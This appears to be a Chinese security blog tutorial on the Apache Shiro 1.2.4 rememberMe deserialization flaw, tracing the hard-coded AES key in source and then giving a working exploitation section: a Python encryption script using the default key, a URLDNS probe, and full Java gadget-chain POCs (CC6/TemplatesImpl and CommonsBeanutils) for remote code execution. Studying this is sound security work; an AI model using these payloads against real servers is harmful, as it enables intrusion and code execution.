Shiro550反序列化(一)

Chiexf Lv4

0x00 前言

0x01 漏洞环境搭建

0x02 漏洞原理

Shiro <= 1.2.4中,AES加密算法的key是硬编码在源码中,当我们勾选remember me的时候shiro会将我们的Cookie信息序列化并且加密存储在CookierememberMe字段中,这样在下次请求时会读取Cookie中的rememberMe字段并且进行解密然后反序列化

0x03 漏洞分析

加密流程

要找Cookie的解密过程,直接在IDEA里面全局搜索Cookie,去找Shiro包里的类

最后找到相关的类是CookieRememberMeManager,锁定到**rememberSerializedIdentity()**这个方法上。

rememberSerializedIdentity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);
Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}

可以看到这段代码中,先判断了是否为http请求,然后将base64编码的序列化字节数组转换成字符串,将base64存入到Cookie

rememberIdentity

找到在rememberIdentity方法中调用了rememberSerializedIdentity方法

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}

这个代码中调用了convertPrincipalsToBytes方法将PrincipalCollection对象转换成字节数组

convertPrincipalsToBytes

可以来看一下convertPrincipalsToBytes方法做了什么

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

代码使用serialize方法将PrincipalCollection对象进行序列化操作,并将序列化后得到的字节数组保存在bytes变量中

如果CipherService对象不为空,则调用encrypt方法对字节数组进行加密操作,并将加密后的结果更新到bytes变量中并返回

encrypt

看一下encrypt方法做了什么

1
2
3
4
5
6
7
8
9
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}

这个代码中会先获取CipherService对象,然后调用该对象的加密方法,将字节数组和加密密钥作为参数

最重要的是getEncryptionCipherKey函数,这是一个获取密钥的函数,直接返回变量

1
2
3
public byte[] getEncryptionCipherKey() {
return encryptionCipherKey;
}

可以看到encryptionCipherKey是一个常量

1
private byte[] encryptionCipherKey;

可以看到变量是在setEncryptionCipherKey方法中被写入的

1
2
3
public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
this.encryptionCipherKey = encryptionCipherKey;
}

setEncryptionCipherKey是在setCipherKey中被调用的

1
2
3
4
5
6
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

在看一下是哪里调用了setEncryptionCipherKey,找到了AbstractRememberMeManager

1
2
3
4
5
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

可以看到这是个固定值

也就是说在Shiro1.2.4中,它所有跟remenber相关的加密是用一个固定的key去加密的

然后使用的算法是AES

1
2
3
4
5
6
7
8
9
10
/**
* The following Base64 string was generated by auto-generating an AES Key:
* <pre>
* AesCipherService aes = new AesCipherService();
* byte[] key = aes.generateNewKey().getEncoded();
* String base64 = Base64.encodeToString(key);
* </pre>
* The value of 'base64' was copied-n-pasted here:
*/
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

onSuccessfulLogin

反过来,我们去找找是在哪里调用了rememberIdentity方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);
//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}

首先这段代码调用forgetIdentity方法,清除之前保存的身份信息,以保证该用户每次登录时都有最新的身份信息。

接着,代码判断当前用户是否选择了RememberMe”选项。如果选择了,则调用rememberIdentity方法,将用户的身份信息、认证令牌和认证信息保存到身份验证器中。这样,当用户下次访问时,就可以通过已保存的身份信息进行快速登录操作。

至此整个加密过程即是

1
onSuccessfulLogin() -> rememberIdentity() -> rememberSerializedIdentity()

解密分析

CookieRememberMeManager

要找Cookie的解密过程,直接在IDEA里面全局搜索Cookie,去找Shiro包里的类

最后找到相关的类是CookieRememberMeManager,锁定到**getRememberedSerializedIdentity()**这个方法上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

可以看到在这个方法中,先判断是否为servlet请求

如果是的话,再根据传入的subjectContext对象来获取Cookie中的remenberMe的值

然后判断是否是deleteMe,不是则存储到base64变量中

如果base64不为空,则判断base64的编码长度,再对其进行base64解码为字节数组,将解码结果返回;反之,返回null

getRememberedPrincipals

接着找到在getRememberedPrincipals中调用了getRememberedSerializedIdentity

1
2
3
4
5
6
7
8
9
10
11
12
13
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}

在这个代码中,先调用了getRememberedSerializedIdentity方法,传入SubjectContext对象,用来获取rememberMe的字节数组

如果字节数组不为null且大于0,则调用convertBytesToPrincipals()方法将字节数组转换成PrincipalCollection类型的对象

convertBytesToPrincipals

在来看一下convertBytesToPrincipals的作用是什么

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

先判断是否有CipherService(加密服务),如果存在的话则调用decrypt方法对字节数组进行解密

接着在调用deserialize方法对解密后的字节数组进行反序列化

deserialize

先来看一下deserialize方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}

T deserialize(byte[] serialized) throws SerializationException;

public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}

可以看到代码创建一个ClassResolvingObjectInputStream对象ois,并将BufferedInputStream对象bis作为其构造参数

然后在使用ois调用readObject方法,将字节数组反序列化为对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
RememberMeManager rmm = getRememberMeManager();
if (rmm != null) {
try {
return rmm.getRememberedPrincipals(subjectContext);
} catch (Exception e) {
if (log.isWarnEnabled()) {
String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
"] threw an exception during getRememberedPrincipals().";
log.warn(msg, e);
}
}
}
return null;
}

decrypt

再来看一下decrypt方法

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

在看一下解密方法,发现是一个接口,里面存放了加密字段和一个key,试着看一下能不能找到key

1
ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;

在看一下getDecryptionCipherKey

1
2
3
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}

再看一下decryptionCipherKey,发现是一个常量

1
private byte[] decryptionCipherKey;

找一下是在哪里赋值的,关注Value write即可

1
2
3
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}

接着看一下哪里调用了setDecryptionCipherKey,找到setCipherKey

1
2
3
4
5
6
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

在看一下是哪里调用了setCipherKey

1
2
3
4
5
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

到这里跟上面的加密流程其实差不多了

0x04 漏洞利用

AES加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Cipher import AES
import uuid
import base64

def convert_bin(file):
with open(file,'rb') as f:
return f.read()


def AES_enc(data):
BS=AES.block_size
pad=lambda s:s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()
key="kPH+bIxk5D2deZiIxcaaaA=="
mode=AES.MODE_CBC
iv=uuid.uuid4().bytes
encryptor=AES.new(base64.b64decode(key),mode,iv)
ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext

if __name__=="__main__":
data=convert_bin("ser.bin")
print(AES_enc(data))

URLDNS漏洞探测

通过漏洞原理可以知道,构造Payload需要将利用链通过AES加密后在base64编码。将Payload的值设置为rememberMecookie值由于URLDNS不依赖于Commons Collections包,只需要JDK的包就行,所有一般用于检测是否存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HashMap<URL, Integer> hashMap= new HashMap<>();
URL url = new URL("http://sdkhkszqkc.dgrh3.cn");

//利用反射来获取hashCode并修改值
Class forName = Class.forName("java.net.URL");
Field declaredField = forName.getDeclaredField("hashCode");
declaredField.setAccessible(true);
declaredField.set(url,123);

hashMap.put(url,1);

//将hashCode的值改回-1
declaredField.set(url,-1);

serialize(hashMap);

unserialize("ser.bin");

CC链

这里添加的是Commons-Collections-3.2.1

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

直接使用CC链(这里使用CC6)去打的话,会爆出一个ClassNotFoundException,具体报错信息是

1
Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [ParallelWebappClassLoader

意味着在Tomcat中的某个Web应用程序中,无法加载名为org.apache.commons.collections.Transformer的数组类,具体来说是一个Transformer对象的数组类。

那么我们就不让代码中出现数组类即可,所以我们可以使用动态加载恶意类的方法

首先创建TemplatesImpl对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//CC3
TemplatesImpl templates = new TemplatesImpl();

//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

然后利用InvokerTransformer去调用newTransformer方法

1
2
//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

再把老的CommonsCollections6的代码复制过来,将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象

1
2
3
4
5
6
7
8
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");

lazyMap.remove(templates);

最后将lazyMap中假的Transformer对象改回真正有用的invokerTransformer对象:

1
2
3
4
Class<LazyMap> lazyMapClass = LazyMap.class;
Field lazyMapClassDeclaredField = lazyMapClass.getDeclaredField("factory");
lazyMapClassDeclaredField.setAccessible(true);
lazyMapClassDeclaredField.set(lazyMap,invokerTransformer);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//CC3
TemplatesImpl templates = new TemplatesImpl();

//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

//CC6
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");

lazyMap.remove(templates);


Class<LazyMap> lazyMapClass = LazyMap.class;
Field lazyMapClassDeclaredField = lazyMapClass.getDeclaredField("factory");
lazyMapClassDeclaredField.setAccessible(true);
lazyMapClassDeclaredField.set(lazyMap,invokerTransformer);

serialize(map2);
unserialize("ser.bin");

然后将生成的ser.bin序列化文件利用上面的加密脚本进行加密后发送过去,成功弹出计算器

CB链

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//CC3
TemplatesImpl templates = new TemplatesImpl();

//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

//PropertyUtils.getProperty(templates,"outputProper

//CB
BeanComparator BeanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

//CC2
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(BeanComparator);
priorityQueue.add("1");
priorityQueue.add("2");

Class<BeanComparator> beanComparatorClass = BeanComparator.class;
Field property = beanComparatorClass.getDeclaredField("property");
property.setAccessible(true);
property.set(BeanComparator,"outputProperties");

Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("queue");
comparator.setAccessible(true);
comparator.set(priorityQueue, new Object[]{templates, templates});

serialize(priorityQueue);
unserialize("ser.bin");

注:

  • Shiro版本问题

Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。

报错信息:

1
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

所以,当commons-Beanutils的版本不一致时会报错,所以你可以在本地将版本更换成一致的

  • Commons Collections依赖问题

Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。

所以需要将BeanComparator的比较器更换成Javashiro或者是Commons-Beanutils里面符合的类即可

0x05 总结

0x06 参考资料

P牛知识星球-Java安全漫谈

B站-白日梦组长

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff

Y4tacker

https://github.com/Y4tacker/JavaSec